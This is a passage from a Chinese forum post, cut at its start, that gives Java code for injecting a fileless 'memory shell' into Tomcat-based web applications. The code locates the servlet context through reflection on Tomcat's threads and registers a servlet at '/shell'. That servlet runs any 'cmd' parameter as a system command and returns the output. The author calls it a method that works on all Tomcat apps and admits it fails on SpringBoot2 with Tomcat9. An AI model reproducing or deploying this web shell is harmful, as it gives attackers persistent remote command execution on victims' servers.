                if (serverName == null){
                  serverName = serverNameMB.toString();
                }
                if (serverName == null){
                  serverName = serverNameMB.getString();
                }

                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                uri = (String) getField(uriMB, "strValue");
                if (uri == null){
                  uri = uriMB.toString();
                }
                if (uri == null){
                  uri = uriMB.getString();
                }
            }
      }
      Thread[] threads2 = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
      for (Thread thread : threads2) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                  jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                  try{
                        jioEndPoint = getField(target, "endpoint");
                  }catch (Exception e){}
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                  engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                  engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost = (StandardHost) children.get(serverName);

                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()){
                  String contextKey = (String) iterator.next();
                  if (!(uri.startsWith(contextKey))){continue;}
                  StandardContext standardContext = (StandardContext) children.get(contextKey);
                  Servlet myServlet = new Tomcat6789();
                  Wrapper newWrapper = standardContext.createWrapper();
                  newWrapper.setName("xxx");
                  newWrapper.setLoadOnStartup(1);
                  newWrapper.setServlet(myServlet);
                  standardContext.addChild(newWrapper);
                  standardContext.addServletMappingDecoded("/shell", "xxx");
                }
            }
      }
    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
      return null;
    }

    @Override
    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
      String cmd = req.getParameter("cmd");
      boolean isLinux = true;
      String osTyp = System.getProperty("os.name");
      if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
      }
      String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
      InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
      Scanner s = new Scanner(in).useDelimiter("\\a");
      String output = s.hasNext() ? s.next() : "";
      //普通回显
      PrintWriter out = res.getWriter();
      out.println(output);
      out.flush();
      out.close();
    }

    @Override
    public String getServletInfo() {
      return null;
    }

    @Override
    public void destroy() {

    }
}这是在所有基于tomcat的javaweb的一种通杀方法,我们可以获取当前所有进程,总可以获取到总服务里的springboot的进程,如许进而获取此中的context,然后再注入内存马。但是似乎代码逻辑有题目,springboot2+tomcat9的情况下会报错,别的情况未尝试,待解决....

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Tomcat内存马回显